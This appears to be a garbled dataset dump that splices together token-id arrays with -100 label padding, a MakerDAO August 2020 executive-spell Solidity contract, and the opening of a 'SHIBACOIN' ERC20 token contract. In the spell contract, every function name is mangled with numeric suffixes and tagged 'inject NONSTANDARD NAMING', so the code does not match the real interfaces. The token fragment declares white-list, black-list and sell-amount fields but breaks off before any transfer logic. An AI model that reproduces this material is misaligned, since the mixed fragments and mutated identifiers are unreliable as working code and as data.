0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1771,
10070,
2104,
281,
63,
9406,
65,
273,
374,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.5.12;
contract DSPauseAbstract {
function SETOWNER297(address) external; //inject NONSTANDARD NAMING
function SETAUTHORITY462(address) external; //inject NONSTANDARD NAMING
function SETDELAY997(uint256) external; //inject NONSTANDARD NAMING
function PLANS194(bytes32) external view returns (bool); //inject NONSTANDARD NAMING
function PROXY33() external view returns (address); //inject NONSTANDARD NAMING
function DELAY572() external view returns (uint256); //inject NONSTANDARD NAMING
function PLOT308(address, bytes32, bytes calldata, uint256) external; //inject NONSTANDARD NAMING
function DROP835(address, bytes32, bytes calldata, uint256) external; //inject NONSTANDARD NAMING
function EXEC528(address, bytes32, bytes calldata, uint256) external returns (bytes memory); //inject NONSTANDARD NAMING
}
contract JugAbstract {
function WARDS993(address) external view returns (uint256); //inject NONSTANDARD NAMING
function RELY27(address) external; //inject NONSTANDARD NAMING
function DENY29(address) external; //inject NONSTANDARD NAMING
function ILKS89(bytes32) external view returns (uint256, uint256); //inject NONSTANDARD NAMING
function VAT322() external view returns (address); //inject NONSTANDARD NAMING
function VOW865() external view returns (address); //inject NONSTANDARD NAMING
function BASE98() external view returns (address); //inject NONSTANDARD NAMING
function INIT382(bytes32) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, bytes32, uint256) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, uint256) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, address) external; //inject NONSTANDARD NAMING
function DRIP851(bytes32) external returns (uint256); //inject NONSTANDARD NAMING
}
contract VatAbstract {
function WARDS993(address) external view returns (uint256); //inject NONSTANDARD NAMING
function RELY27(address) external; //inject NONSTANDARD NAMING
function DENY29(address) external; //inject NONSTANDARD NAMING
function CAN701(address, address) external view returns (uint256); //inject NONSTANDARD NAMING
function HOPE401(address) external; //inject NONSTANDARD NAMING
function NOPE804(address) external; //inject NONSTANDARD NAMING
function ILKS89(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); //inject NONSTANDARD NAMING
function URNS72(bytes32, address) external view returns (uint256, uint256); //inject NONSTANDARD NAMING
function GEM847(bytes32, address) external view returns (uint256); //inject NONSTANDARD NAMING
function DAI766(address) external view returns (uint256); //inject NONSTANDARD NAMING
function SIN979(address) external view returns (uint256); //inject NONSTANDARD NAMING
function DEBT96() external view returns (uint256); //inject NONSTANDARD NAMING
function VICE796() external view returns (uint256); //inject NONSTANDARD NAMING
function LINE365() external view returns (uint256); //inject NONSTANDARD NAMING
function LIVE39() external view returns (uint256); //inject NONSTANDARD NAMING
function INIT382(bytes32) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, uint256) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, bytes32, uint256) external; //inject NONSTANDARD NAMING
function CAGE573() external; //inject NONSTANDARD NAMING
function SLIP893(bytes32, address, int256) external; //inject NONSTANDARD NAMING
function FLUX455(bytes32, address, address, uint256) external; //inject NONSTANDARD NAMING
function MOVE486(address, address, uint256) external; //inject NONSTANDARD NAMING
function FROB749(bytes32, address, address, address, int256, int256) external; //inject NONSTANDARD NAMING
function FORK68(bytes32, address, address, int256, int256) external; //inject NONSTANDARD NAMING
function GRAB867(bytes32, address, address, address, int256, int256) external; //inject NONSTANDARD NAMING
function HEAL281(uint256) external; //inject NONSTANDARD NAMING
function SUCK979(address, address, uint256) external; //inject NONSTANDARD NAMING
function FOLD739(bytes32, address, int256) external; //inject NONSTANDARD NAMING
}
contract VowAbstract {
function WARDS993(address) external view returns (uint256); //inject NONSTANDARD NAMING
function RELY27(address usr) external; //inject NONSTANDARD NAMING
function DENY29(address usr) external; //inject NONSTANDARD NAMING
function VAT322() external view returns (address); //inject NONSTANDARD NAMING
function FLAPPER608() external view returns (address); //inject NONSTANDARD NAMING
function FLOPPER190() external view returns (address); //inject NONSTANDARD NAMING
function SIN979(uint256) external view returns (uint256); //inject NONSTANDARD NAMING
function SIN979() external view returns (uint256); //inject NONSTANDARD NAMING
function ASH807() external view returns (uint256); //inject NONSTANDARD NAMING
function WAIT426() external view returns (uint256); //inject NONSTANDARD NAMING
function DUMP329() external view returns (uint256); //inject NONSTANDARD NAMING
function SUMP140() external view returns (uint256); //inject NONSTANDARD NAMING
function BUMP430() external view returns (uint256); //inject NONSTANDARD NAMING
function HUMP834() external view returns (uint256); //inject NONSTANDARD NAMING
function LIVE39() external view returns (uint256); //inject NONSTANDARD NAMING
function FILE935(bytes32, uint256) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, address) external; //inject NONSTANDARD NAMING
function FESS945(uint256) external; //inject NONSTANDARD NAMING
function FLOG837(uint256) external; //inject NONSTANDARD NAMING
function HEAL281(uint256) external; //inject NONSTANDARD NAMING
function KISS865(uint256) external; //inject NONSTANDARD NAMING
function FLOP497() external returns (uint256); //inject NONSTANDARD NAMING
function FLAP923() external returns (uint256); //inject NONSTANDARD NAMING
function CAGE573() external; //inject NONSTANDARD NAMING
}
contract IlkRegistryAbstract {
function WARDS993(address) external view returns (uint256); //inject NONSTANDARD NAMING
function RELY27(address) external; //inject NONSTANDARD NAMING
function DENY29(address) external; //inject NONSTANDARD NAMING
function VAT322() external view returns (address); //inject NONSTANDARD NAMING
function CAT738() external view returns (address); //inject NONSTANDARD NAMING
function SPOT274() external view returns (address); //inject NONSTANDARD NAMING
function ILKDATA365(bytes32) external view returns ( //inject NONSTANDARD NAMING
uint256,
address,
address,
address,
address,
uint256,
string memory,
string memory
);
function ILKS89() external view returns (bytes32[] memory); //inject NONSTANDARD NAMING
function ILKS89(uint) external view returns (bytes32); //inject NONSTANDARD NAMING
function ADD269(address) external; //inject NONSTANDARD NAMING
function REMOVE614(bytes32) external; //inject NONSTANDARD NAMING
function REMOVEAUTH234(bytes32) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, bytes32, address) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, bytes32, uint256) external; //inject NONSTANDARD NAMING
function FILE935(bytes32, bytes32, string calldata) external; //inject NONSTANDARD NAMING
function COUNT649() external view returns (uint256); //inject NONSTANDARD NAMING
function LIST141() external view returns (bytes32[] memory); //inject NONSTANDARD NAMING
function LIST141(uint256, uint256) external view returns (bytes32[] memory); //inject NONSTANDARD NAMING
function GET51(uint256) external view returns (bytes32); //inject NONSTANDARD NAMING
function INFO652(bytes32) external view returns ( //inject NONSTANDARD NAMING
string memory,
string memory,
uint256,
address,
address,
address,
address
);
function POS804(bytes32) external view returns (uint256); //inject NONSTANDARD NAMING
function GEM847(bytes32) external view returns (address); //inject NONSTANDARD NAMING
function PIP889(bytes32) external view returns (address); //inject NONSTANDARD NAMING
function JOIN697(bytes32) external view returns (address); //inject NONSTANDARD NAMING
function FLIP981(bytes32) external view returns (address); //inject NONSTANDARD NAMING
function DEC837(bytes32) external view returns (uint256); //inject NONSTANDARD NAMING
function SYMBOL988(bytes32) external view returns (string memory); //inject NONSTANDARD NAMING
function NAME950(bytes32) external view returns (string memory); //inject NONSTANDARD NAMING
}
contract SpellAction {
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/c8e9f709f4bc5d0384b47e0109eb7555f08b84fc/governance/votes/Executive%20vote%20-%20August%2014%2C%202020.md -q -O - 2>/dev/null)"
string constant public description524 = //inject NONSTANDARD NAMING
"2020-08-14 MakerDAO Weekly Executive Spell | Hash: 0x97294bc0de2100192a54a618351a84574e5d1998da234152e68b4065ac9bea0f";
// MAINNET ADDRESSES
//
// The contracts in this list should correspond to MCD core contracts, verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/1.0.9/contracts.json
address constant mcd_vat35 = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; //inject NONSTANDARD NAMING
address constant mcd_jug497 = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; //inject NONSTANDARD NAMING
address constant mcd_vow892 = 0xA950524441892A31ebddF91d3cEEFa04Bf454466; //inject NONSTANDARD NAMING
address constant ilk_registry964 = 0xbE4F921cdFEf2cF5080F9Cf00CC2c14F1F96Bd07; //inject NONSTANDARD NAMING
uint256 constant million677 = 10 ** 6; //inject NONSTANDARD NAMING
uint256 constant rad54 = 10 ** 45; //inject NONSTANDARD NAMING
// Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 6%):
//
// $ bc -l <<< 'scale=27; e( l(1.06)/(60 * 60 * 24 * 365) )'
//
uint256 constant six_pct_rate891 = 1000000001847694957439350562; //inject NONSTANDARD NAMING
uint256 constant fortyfour_pct_rate631 = 1000000011562757347033522598; //inject NONSTANDARD NAMING
function EXECUTE336() external { //inject NONSTANDARD NAMING
bytes32[] memory ilks = IlkRegistryAbstract(ilk_registry964).LIST141();
for(uint i = 0; i < ilks.length; i++) {
// Set all ilks dust value from 20 Dai to 100 Dai
VatAbstract(mcd_vat35).FILE935(ilks[i], "dust", 100 * rad54);
}
// Set the MANA-A stability fee
// value is determined by the rate accumulator calculation (see above)
// ex. an 8% annual rate will be 1000000002440418608258400030
//
// Existing Rate: 8%
// New Rate: 6%
JugAbstract(mcd_jug497).DRIP851("MANA-A");
JugAbstract(mcd_jug497).FILE935("MANA-A", "duty", six_pct_rate891);
// Set the USDC-B stability fee
// value is determined by the rate accumulator calculation (see above)
// ex. an 8% annual rate will be 1000000002440418608258400030
//
// Existing Rate: 46%
// New Rate: 44%
JugAbstract(mcd_jug497).DRIP851("USDC-B");
JugAbstract(mcd_jug497).FILE935("USDC-B", "duty", fortyfour_pct_rate631);
// Sets the system surplus buffer from 500k Dai to 2mm Dai
VowAbstract(mcd_vow892).FILE935("hump", 2 * million677 * rad54);
}
}
contract DssSpell {
DSPauseAbstract public pause =
DSPauseAbstract(0xbE286431454714F511008713973d3B053A2d38f3);
address public action;
bytes32 public tag;
uint256 public eta;
bytes public sig;
uint256 public expiration;
bool public done;
constructor() public {
sig = abi.encodeWithSignature("execute()");
action = address(new SpellAction());
bytes32 _tag;
address _action = action;
assembly { _tag := extcodehash(_action) }
tag = _tag;
expiration = now + 30 days;
}
function DESCRIPTION887() public view returns (string memory) { //inject NONSTANDARD NAMING
return SpellAction(action).description524();
}
function SCHEDULE900() public { //inject NONSTANDARD NAMING
require(now <= expiration, "This contract has expired");
require(eta == 0, "This spell has already been scheduled");
eta = now + DSPauseAbstract(pause).DELAY572();
pause.PLOT308(action, tag, sig, eta);
}
function CAST355() public { //inject NONSTANDARD NAMING
require(!done, "spell-already-cast");
done = true;
pause.EXEC528(action, tag, sig, eta);
}
} | inject NONSTANDARD NAMING
| function GEM847(bytes32, address) external view returns (uint256); | 12,918,551 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
611,
3375,
5193,
27,
12,
3890,
1578,
16,
1758,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-16
*/
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract SHIBACOIN is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
